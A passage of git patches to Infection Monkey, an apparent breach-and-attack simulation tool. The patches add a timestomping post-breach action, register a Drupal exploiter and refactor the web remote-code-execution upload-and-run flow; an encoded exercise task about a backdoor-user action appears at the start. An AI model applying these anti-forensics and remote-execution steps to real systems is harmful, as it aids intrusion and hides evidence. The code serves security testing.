"description": "UmVhZCUyMCU1Qm91ciUyMGRvY3VtZW50YXRpb24lMjBhYm91dCUyMGFkZGluZyUyMGElMjBuZXclMjBQQkElNUQoaHR0cHMlM0ElMkYlMkZ3d3cuZ3VhcmRpY29yZS5jb20lMkZpbmZlY3Rpb25tb25rZXklMkZkb2NzJTJGZGV2ZWxvcG1lbnQlMkZhZGRpbmctcG9zdC1icmVhY2gtYWN0aW9ucyUyRikuJTBBJTBBQWZ0ZXIlMjB0aGF0JTIwd2UlMjB3YW50JTIweW91JTIwdG8lMjBhZGQlMjB0aGUlMjBCYWNrZG9vclVzZXIlMjBQQkEuJTIwVGhlJTIwY29tbWFuZHMlMjB0aGF0JTIwYWRkJTIwdXNlcnMlMjBmb3IlMjBXaW4lMjBhbmQlMjBMaW51eCUyMGNhbiUyMGJlJTIwcmV0cmlldmVkJTIwZnJvbSUyMCU2MGdldF9jb21tYW5kc190b19hZGRfdXNlciU2MCUyMC0lMjBtYWtlJTIwc3VyZSUyMHlvdSUyMHNlZSUyMGhvdyUyMHRvJTIwdXNlJTIwdGhpcyUyMGZ1bmN0aW9uJTIwY29ycmVjdGx5LiUyMCUwQSUwQU5vdGUlMjB0aGF0JTIwdGhlJTIwUEJBJTIwc2hvdWxkJTIwaW1wYWN0JTIwdGhlJTIwVDExMzYlMjBNSVRSRSUyMHRlY2huaXF1ZSUyMGFzJTIwd2VsbCElMjAlMEElMEElMjMlMjBNYW51YWwlMjB0ZXN0JTIwdG8lMjBjb25maXJtJTBBJTBBMS4lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEyLiUyME1ha2UlMjBzdXJlJTIweW91ciUyMG5ldyUyMFBCQSUyMGlzJTIwZW5hYmxlZCUyMGJ5JTIwZGVmYXVsdCUyMGluJTIwdGhlJTIwY29uZmlnJTIwLSUyMGZvciUyMHRoaXMlMjB0ZXN0JTJDJTIwZGlzYWJsZSUyMG5ldHdvcmslMjBzY2FubmluZyUyQyUyMGV4cGxvaXRpbmclMkMlMjBhbmQlMjBhbGwlMjBvdGhlciUyMFBCQXMlMEEzLiUyMFJ1biUyME1vbmtleSUwQTQuJTIwU2VlJTIwdGhlJTIwUEJBJTIwaW4lMjB0aGUlMjBzZWN1cml0eSUyMHJlcG9ydCUwQTUlMkMlMjBTZWUlMjB0aGUlMjBQQkElMjBpbiUyMHRoZSUyME1JVFJFJTIwcmVwb3J0JTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHRlY2huaXF1ZSUwQQ==",
"dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMHRvJTIwdGhlJTIwTW9ua2V5JTIwd2hpY2glMjBjcmVhdGVzJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG1hY2hpbmUu",
"summary": "VGFrZSUyMGElMjBsb29rJTIwYXQlMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb2YlMjB0aGUlMjBpc2xhbmQlMjBhZ2FpbiUyMC0lMjBzZWUlMjB0aGUlMjAlMjJjb21tYW5kJTIwdG8lMjBydW4lMjBhZnRlciUyMGJyZWFjaCUyMiUyMG9wdGlvbiUyMHdlJTIwb2ZmZXIlMjB0aGUlMjB1c2VyJTNGJTIwSXQncyUyMGltcGxlbWVudGVkJTIwZXhhY3RseSUyMGxpa2UlMjB5b3UlMjBkaWQlMjByaWdodCUyMG5vdyUyMGJ1dCUyMGVhY2glMjB1c2VyJTIwY2FuJTIwZG8lMjBpdCUyMGZvciUyMHRoZW1zZWx2ZXMuJTIwJTBBJTBBSG93ZXZlciUyQyUyMHdoYXQlMjBpZiUyMHRoZSUyMFBCQSUyMG5lZWRzJTIwdG8lMjBkbyUyMHN0dWZmJTIwd2hpY2glMjBpcyUyMG1vcmUlMjBjb21wbGV4JTIwdGhhbiUyMGp1c3QlMjBydW5uaW5nJTIwYSUyMGZldyUyMGNvbW1hbmRzJTNGJTIwSW4lMjB0aGF0JTIwY2FzZS4uLiUyMA==",
"file_version": "1.0.2",
- "app_version": "0.1.50"
+ "app_version": "0.1.60"
}
\ No newline at end of file
From 1f82dab6f5c98480edc5572570b2f157094d4b12 Mon Sep 17 00:00:00 2001
From: Shreya
Date: Thu, 20 Aug 2020 19:16:48 +0530
Subject: [PATCH 07/81] Add T1099 (timestomping)
---
monkey/common/data/post_breach_consts.py | 1 +
.../post_breach/actions/timestomping.py | 12 +++++
.../timestomping/linux/timestomping.py | 11 +++++
.../post_breach/timestomping/timestomping.py | 10 +++++
.../timestomping/windows/timestomping.ps1 | 13 ++++++
.../timestomping/windows/timestomping.py | 5 +++
.../cc/services/attack/attack_report.py | 22 ++++-----
.../cc/services/attack/attack_schema.py | 9 ++++
.../attack/technique_reports/T1099.py | 13 ++++++
.../definitions/post_breach_actions.py | 9 ++++
.../cc/services/config_schema/monkey.py | 3 +-
.../src/components/attack/techniques/T1099.js | 45 +++++++++++++++++++
12 files changed, 142 insertions(+), 11 deletions(-)
create mode 100644 monkey/infection_monkey/post_breach/actions/timestomping.py
create mode 100644 monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py
create mode 100644 monkey/infection_monkey/post_breach/timestomping/timestomping.py
create mode 100644 monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1
create mode 100644 monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py
create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1099.py
create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1099.js
diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py
index c3bba9950..1dc739a7d 100644
--- a/monkey/common/data/post_breach_consts.py
+++ b/monkey/common/data/post_breach_consts.py
@@ -6,3 +6,4 @@ POST_BREACH_HIDDEN_FILES = "Hide files and directories"
POST_BREACH_TRAP_COMMAND = "Execute command when a particular signal is received"
POST_BREACH_SETUID_SETGID = "Setuid and Setgid"
POST_BREACH_JOB_SCHEDULING = "Schedule jobs"
+POST_BREACH_TIMESTOMPPING = "Modify files' timestamps"
diff --git a/monkey/infection_monkey/post_breach/actions/timestomping.py b/monkey/infection_monkey/post_breach/actions/timestomping.py
new file mode 100644
index 000000000..3d0564b0d
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/timestomping.py
@@ -0,0 +1,12 @@
+from common.data.post_breach_consts import POST_BREACH_TIMESTOMPPING
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.post_breach.timestomping.timestomping import \
+ get_timestomping_commands
+
+
+class Timestomping(PBA):
+ def __init__(self):
+ linux_cmds, windows_cmds = get_timestomping_commands()
+ super().__init__(POST_BREACH_TIMESTOMPPING,
+ linux_cmd=linux_cmds,
+ windows_cmd=windows_cmds)
diff --git a/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py
new file mode 100644
index 000000000..ea608b85d
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py
@@ -0,0 +1,11 @@
+TEMP_FILE = 'monkey-timestomping-file.txt'
+TIMESTAMP_EPOCH = '197001010000.00'
+
+
+def get_linux_timestomping_commands():
+ return [
+ f'echo "Successfully changed a file\'s modification timestamp" > {TEMP_FILE} && '
+ f'touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && '
+ f'cat {TEMP_FILE} ; '
+ f'rm {TEMP_FILE} -f'
+ ]
diff --git a/monkey/infection_monkey/post_breach/timestomping/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/timestomping.py
new file mode 100644
index 000000000..04ed5cb6d
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/timestomping/timestomping.py
@@ -0,0 +1,10 @@
+from infection_monkey.post_breach.timestomping.linux.timestomping import \
+ get_linux_timestomping_commands
+from infection_monkey.post_breach.timestomping.windows.timestomping import \
+ get_windows_timestomping_commands
+
+
+def get_timestomping_commands():
+ linux_cmds = get_linux_timestomping_commands()
+ windows_cmds = get_windows_timestomping_commands()
+ return linux_cmds, windows_cmds
diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1 b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1
new file mode 100644
index 000000000..8965a149a
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1
@@ -0,0 +1,13 @@
+$TEMP_FILE = 'monkey-timestomping-file.txt'
+$TIMESTAMP_EPOCH = '01/01/1970 00:00:00'
+
+# create temporary file
+New-Item -Path $TEMP_FILE -Force | Out-Null
+Set-Content $TEMP_FILE -Value "Successfully changed a file\'s modification timestamp" -Force | Out-Null
+
+# attempt to change modification timestamp
+Get-ChildItem $TEMP_FILE | % { $_.LastWriteTime = $TIMESTAMP_EPOCH }
+Get-Content $TEMP_FILE
+
+# remove temporary file
+Remove-Item $TEMP_FILE -Force -ErrorAction Ignore
diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py
new file mode 100644
index 000000000..c18baabfc
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py
@@ -0,0 +1,5 @@
+TEMP_FILE = 'monkey-timestomping-file.txt'
+
+
+def get_windows_timestomping_commands():
+ return 'powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1'
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 6d4bac9ed..6485fc5b5 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -10,15 +10,16 @@ from monkey_island.cc.services.attack.technique_reports import (T1003, T1005,
T1059, T1064,
T1065, T1075,
T1082, T1086,
- T1090, T1105,
- T1106, T1107,
- T1110, T1129,
- T1136, T1145,
- T1154, T1156,
- T1158, T1166,
- T1168, T1188,
- T1197, T1210,
- T1222, T1504)
+ T1090, T1099,
+ T1105, T1106,
+ T1107, T1110,
+ T1129, T1136,
+ T1145, T1154,
+ T1156, T1158,
+ T1166, T1168,
+ T1188, T1197,
+ T1210, T1222,
+ T1504)
from monkey_island.cc.services.reporting.report_generation_synchronisation import \
safe_generate_attack_report
@@ -57,7 +58,8 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1154': T1154.T1154,
'T1166': T1166.T1166,
'T1168': T1168.T1168,
- 'T1053': T1053.T1053
+ 'T1053': T1053.T1053,
+ 'T1099': T1099.T1099
}
REPORT_NAME = 'new_report'
diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py
index 30d33ca3e..ae0dbd2bc 100644
--- a/monkey/monkey_island/cc/services/attack/attack_schema.py
+++ b/monkey/monkey_island/cc/services/attack/attack_schema.py
@@ -185,6 +185,15 @@ SCHEMA = {
"necessary": True,
"link": "https://attack.mitre.org/techniques/T1222",
"description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
+ },
+ "T1099": {
+ "title": "Timestomping",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "link": "https://attack.mitre.org/techniques/T1099",
+ "description": "Adversaries may modify file time attributes to hide new/changes to existing "
+ "files to avoid attention from forensic investigators or file analysis tools."
}
}
},
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py
new file mode 100644
index 000000000..3ca46408d
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py
@@ -0,0 +1,13 @@
+from common.data.post_breach_consts import POST_BREACH_TIMESTOMPPING
+from monkey_island.cc.services.attack.technique_reports.pba_technique import \
+ PostBreachTechnique
+
+__author__ = "shreyamalviya"
+
+
+class T1099(PostBreachTechnique):
+ tech_id = "T1099"
+ unscanned_msg = "Monkey didn't try changing any file's time attributes."
+ scanned_msg = "Monkey tried changing a file's time attributes but failed."
+ used_msg = "Monkey successfully changed a file's time attributes."
+ pba_names = [POST_BREACH_TIMESTOMPPING]
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py
index f3e2a9bfa..ab4356850 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py
@@ -70,6 +70,15 @@ POST_BREACH_ACTIONS = {
"title": "Job scheduling",
"info": "Attempts to create a scheduled job on the system and remove it.",
"attack_techniques": ["T1168", "T1053"]
+ },
+ {
+ "type": "string",
+ "enum": [
+ "Timestomping"
+ ],
+ "title": "Timestomping",
+ "info": "Creates a temporary file and attempts to modify its file time attributes. Removes temporary file.",
+ "attack_techniques": ["T1099"]
}
]
}
diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py
index dd10cb35b..e58ac7c79 100644
--- a/monkey/monkey_island/cc/services/config_schema/monkey.py
+++ b/monkey/monkey_island/cc/services/config_schema/monkey.py
@@ -67,7 +67,8 @@ MONKEY = {
"HiddenFiles",
"TrapCommand",
"ChangeSetuidSetgid",
- "ScheduleJobs"
+ "ScheduleJobs",
+ "Timestomping"
]
},
}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1099.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1099.js
new file mode 100644
index 000000000..2c95cdba9
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1099.js
@@ -0,0 +1,45 @@
+import React from 'react';
+import ReactTable from 'react-table';
+import {renderMachineFromSystemData, ScanStatus} from './Helpers';
+import MitigationsComponent from './MitigationsComponent';
+
+class T1099 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getColumns() {
+ return ([{
+ columns: [
+ { Header: 'Machine',
+ id: 'machine',
+ accessor: x => renderMachineFromSystemData(x.machine),
+ style: {'whiteSpace': 'unset'}},
+ { Header: 'Result',
+ id: 'result',
+ accessor: x => x.result,
+ style: {'whiteSpace': 'unset'}}
+ ]
+ }])
+ }
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ''}
+
+
+ );
+ }
+ }
+
+ export default T1099;
From e8f72f5cd597236d40d81d687293a707879baaa9 Mon Sep 17 00:00:00 2001
From: Shreya
Date: Thu, 20 Aug 2020 19:20:36 +0530
Subject: [PATCH 08/81] Add commands' source
---
.../post_breach/timestomping/linux/timestomping.py | 3 +++
.../post_breach/timestomping/windows/timestomping.py | 3 +++
2 files changed, 6 insertions(+)
diff --git a/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py
index ea608b85d..ee6c02f58 100644
--- a/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py
+++ b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py
@@ -9,3 +9,6 @@ def get_linux_timestomping_commands():
f'cat {TEMP_FILE} ; '
f'rm {TEMP_FILE} -f'
]
+
+
+# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md
diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py
index c18baabfc..9f23193f7 100644
--- a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py
+++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py
@@ -3,3 +3,6 @@ TEMP_FILE = 'monkey-timestomping-file.txt'
def get_windows_timestomping_commands():
return 'powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1'
+
+
+# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md
From 5dc2d54cef3ccac43e96c96e125634a6086c2e25 Mon Sep 17 00:00:00 2001
From: Shreya
Date: Thu, 20 Aug 2020 19:39:14 +0530
Subject: [PATCH 09/81] Fix typos
---
monkey/common/data/post_breach_consts.py | 2 +-
monkey/infection_monkey/post_breach/actions/timestomping.py | 4 ++--
.../post_breach/timestomping/windows/timestomping.ps1 | 2 +-
.../cc/services/attack/technique_reports/T1099.py | 4 ++--
.../services/config_schema/definitions/post_breach_actions.py | 2 +-
5 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py
index 1dc739a7d..1650b89c5 100644
--- a/monkey/common/data/post_breach_consts.py
+++ b/monkey/common/data/post_breach_consts.py
@@ -6,4 +6,4 @@ POST_BREACH_HIDDEN_FILES = "Hide files and directories"
POST_BREACH_TRAP_COMMAND = "Execute command when a particular signal is received"
POST_BREACH_SETUID_SETGID = "Setuid and Setgid"
POST_BREACH_JOB_SCHEDULING = "Schedule jobs"
-POST_BREACH_TIMESTOMPPING = "Modify files' timestamps"
+POST_BREACH_TIMESTOMPING = "Modify files' timestamps"
diff --git a/monkey/infection_monkey/post_breach/actions/timestomping.py b/monkey/infection_monkey/post_breach/actions/timestomping.py
index 3d0564b0d..50a940524 100644
--- a/monkey/infection_monkey/post_breach/actions/timestomping.py
+++ b/monkey/infection_monkey/post_breach/actions/timestomping.py
@@ -1,4 +1,4 @@
-from common.data.post_breach_consts import POST_BREACH_TIMESTOMPPING
+from common.data.post_breach_consts import POST_BREACH_TIMESTOMPING
from infection_monkey.post_breach.pba import PBA
from infection_monkey.post_breach.timestomping.timestomping import \
get_timestomping_commands
@@ -7,6 +7,6 @@ from infection_monkey.post_breach.timestomping.timestomping import \
class Timestomping(PBA):
def __init__(self):
linux_cmds, windows_cmds = get_timestomping_commands()
- super().__init__(POST_BREACH_TIMESTOMPPING,
+ super().__init__(POST_BREACH_TIMESTOMPING,
linux_cmd=linux_cmds,
windows_cmd=windows_cmds)
diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1 b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1
index 8965a149a..ce94ac08a 100644
--- a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1
+++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1
@@ -3,7 +3,7 @@ $TIMESTAMP_EPOCH = '01/01/1970 00:00:00'
# create temporary file
New-Item -Path $TEMP_FILE -Force | Out-Null
-Set-Content $TEMP_FILE -Value "Successfully changed a file\'s modification timestamp" -Force | Out-Null
+Set-Content $TEMP_FILE -Value "Successfully changed a file's modification timestamp" -Force | Out-Null
# attempt to change modification timestamp
Get-ChildItem $TEMP_FILE | % { $_.LastWriteTime = $TIMESTAMP_EPOCH }
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py
index 3ca46408d..9cd4dc903 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py
@@ -1,4 +1,4 @@
-from common.data.post_breach_consts import POST_BREACH_TIMESTOMPPING
+from common.data.post_breach_consts import POST_BREACH_TIMESTOMPING
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
PostBreachTechnique
@@ -10,4 +10,4 @@ class T1099(PostBreachTechnique):
unscanned_msg = "Monkey didn't try changing any file's time attributes."
scanned_msg = "Monkey tried changing a file's time attributes but failed."
used_msg = "Monkey successfully changed a file's time attributes."
- pba_names = [POST_BREACH_TIMESTOMPPING]
+ pba_names = [POST_BREACH_TIMESTOMPING]
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py
index ab4356850..ec1ea4b91 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py
@@ -77,7 +77,7 @@ POST_BREACH_ACTIONS = {
"Timestomping"
],
"title": "Timestomping",
- "info": "Creates a temporary file and attempts to modify its file time attributes. Removes temporary file.",
+ "info": "Creates a temporary file and attempts to modify its time attributes. Removes the file afterwards.",
"attack_techniques": ["T1099"]
}
]
From 45465e2748b998ab02fa25afba1823b3ea4b22f7 Mon Sep 17 00:00:00 2001
From: snyk-bot
Date: Fri, 21 Aug 2020 07:01:28 +0000
Subject: [PATCH 10/81] fix: upgrade react-json-tree from 0.11.2 to 0.12.0
Snyk has created this PR to upgrade react-json-tree from 0.11.2 to 0.12.0.
See this package in npm:
https://www.npmjs.com/package/react-json-tree
See this project in Snyk:
https://app.snyk.io/org/shaynehmad/project/37aecb9c-98b4-4735-95a2-83d941303b4e?utm_source=github&utm_medium=upgrade-pr
---
monkey/monkey_island/cc/ui/package-lock.json | 7 +++----
monkey/monkey_island/cc/ui/package.json | 2 +-
2 files changed, 4 insertions(+), 5 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index f976ea1fe..38ea2e994 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -13712,11 +13712,10 @@
"integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
},
"react-json-tree": {
- "version": "0.11.2",
- "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.2.tgz",
- "integrity": "sha512-aYhUPj1y5jR3ZQ+G3N7aL8FbTyO03iLwnVvvEikLcNFqNTyabdljo9xDftZndUBFyyyL0aK3qGO9+8EilILHUw==",
+ "version": "0.12.0",
+ "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.0.tgz",
+ "integrity": "sha512-lp+NDCsU25JTueO1s784oZ5wEmh1c6kHk96szlX1e9bAlyNiHwCBXINpp0C5/D/LwQi9H/a6NjXGkSOS8zxMDg==",
"requires": {
- "babel-runtime": "^6.6.1",
"prop-types": "^15.5.8",
"react-base16-styling": "^0.5.1"
}
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index ff47b1206..75b9a350c 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -94,7 +94,7 @@
"react-filepond": "^7.0.1",
"react-graph-vis": "^1.0.5",
"react-hot-loader": "^4.12.20",
- "react-json-tree": "^0.11.2",
+ "react-json-tree": "^0.12.0",
"react-jsonschema-form-bs4": "^1.7.1",
"react-particles-js": "^3.3.0",
"react-redux": "^5.1.2",
From 8589f05acf5eca5ad7b7f3bd115d8e0f3da209f1 Mon Sep 17 00:00:00 2001
From: snyk-bot
Date: Wed, 26 Aug 2020 07:00:27 +0000
Subject: [PATCH 11/81] fix: upgrade bootstrap from 4.5.0 to 4.5.1
Snyk has created this PR to upgrade bootstrap from 4.5.0 to 4.5.1.
See this package in npm:
https://www.npmjs.com/package/bootstrap
See this project in Snyk:
https://app.snyk.io/org/shaynehmad/project/37aecb9c-98b4-4735-95a2-83d941303b4e?utm_source=github&utm_medium=upgrade-pr
---
monkey/monkey_island/cc/ui/package-lock.json | 6 +++---
monkey/monkey_island/cc/ui/package.json | 2 +-
2 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index f976ea1fe..33bda2a6b 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -3139,9 +3139,9 @@
"dev": true
},
"bootstrap": {
- "version": "4.5.0",
- "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.0.tgz",
- "integrity": "sha512-Z93QoXvodoVslA+PWNdk23Hze4RBYIkpb5h8I2HY2Tu2h7A0LpAgLcyrhrSUyo2/Oxm2l1fRZPs1e5hnxnliXA=="
+ "version": "4.5.1",
+ "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.1.tgz",
+ "integrity": "sha512-bxUooHBSbvefnIZfjD0LE8nfdPKrtiFy2sgrxQwUZ0UpFzpjVbVMUxaGIoo9XWT4B2LG1HX6UQg0UMOakT0prQ=="
},
"boxen": {
"version": "4.2.0",
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index ff47b1206..5a44f9dc0 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -65,7 +65,7 @@
"@fortawesome/free-solid-svg-icons": "^5.13.1",
"@fortawesome/react-fontawesome": "^0.1.11",
"@kunukn/react-collapse": "^1.2.7",
- "bootstrap": "^4.5.0",
+ "bootstrap": "^4.5.1",
"classnames": "^2.2.6",
"core-js": "^3.6.5",
"d3": "^5.14.1",
From 36d84878776ebb201198b342b30bc772c65df2ed Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:43:16 +0300
Subject: [PATCH 12/81] add Drupal exploit to the report - basic message
---
monkey/monkey_island/cc/services/reporting/report.py | 12 ++++++++++--
1 file changed, 10 insertions(+), 2 deletions(-)
diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py
index 195eac3d6..a1bbcece5 100644
--- a/monkey/monkey_island/cc/services/reporting/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -40,7 +40,8 @@ class ReportService:
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter',
- 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
+ 'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
+ 'DrupalExploiter': 'Drupal Server Exploiter'
}
class ISSUES_DICT(Enum):
@@ -349,6 +350,12 @@ class ReportService:
processed_exploit['type'] = 'mssql'
return processed_exploit
+ @staticmethod
+ def process_drupal_exploit(exploit):
+ processed_exploit = ReportService.process_general_exploit(exploit)
+ processed_exploit['type'] = 'drupal'
+ return processed_exploit
+
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@@ -364,7 +371,8 @@ class ReportService:
'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit,
- 'VSFTPDExploiter': ReportService.process_vsftpd_exploit
+ 'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
+ 'DrupalExploiter': ReportService.process_drupal_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
From a87640c4aaa6f1514b8d38cf1cdd9c44c328ccf2 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:43:41 +0300
Subject: [PATCH 13/81] add Drupal exploit to the configuration
---
monkey/monkey_island/cc/services/config_schema.py | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index b6668af38..5ea80cc48 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -99,6 +99,13 @@ SCHEMA = {
"VSFTPDExploiter"
],
"title": "VSFTPD Exploiter"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "DrupalExploiter"
+ ],
+ "title": "Drupal Exploiter"
}
]
},
From 610d3d1144fb2c2002a8894672c7306bb145e2e6 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:46:42 +0300
Subject: [PATCH 14/81] get a vulnerable URL in a configurable manner
---
monkey/infection_monkey/exploit/web_rce.py | 19 ++++++++++++++-----
1 file changed, 14 insertions(+), 5 deletions(-)
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 3863d47e1..faa183faa 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -89,7 +89,7 @@ class WebRCE(HostExploiter):
if not self.vulnerable_urls:
return False
- self.target_url = self.vulnerable_urls[0]
+ self.target_url = self.get_target_url()
self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
# Skip if monkey already exists and this option is given
@@ -98,21 +98,21 @@ class WebRCE(HostExploiter):
return True
# Check for targets architecture (if it's 32 or 64 bit)
- if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url):
+ if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()):
return False
# Upload the right monkey to target
- data = self.upload_monkey(self.target_url, exploit_config['upload_commands'])
+ data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands'])
if data is False:
return False
# Change permissions to transform monkey into executable file
- if self.change_permissions(self.target_url, data['path']) is False:
+ if self.change_permissions(self.get_target_url(), data['path']) is False:
return False
# Execute remote monkey
- if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False:
+ if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False:
return False
return True
@@ -502,3 +502,12 @@ class WebRCE(HostExploiter):
def set_vulnerable_port_from_url(self, url):
self.vulnerable_port = HTTPTools.get_port_from_url(url)
+
+ def get_target_url(self):
+ """
+ This method allows "configuring" the way in which a vulnerable URL is picked.
+ If the same URL should be used - always return the first.
+ Otherwise - implement your own (e.g. Drupal must use a new URI each time).
+ :return: a vulnerable URL
+ """
+ return self.vulnerable_urls[0]
From f3f124ce76812ce9b489c5bc457016b643f550b5 Mon Sep 17 00:00:00 2001
From: ophirharpazg
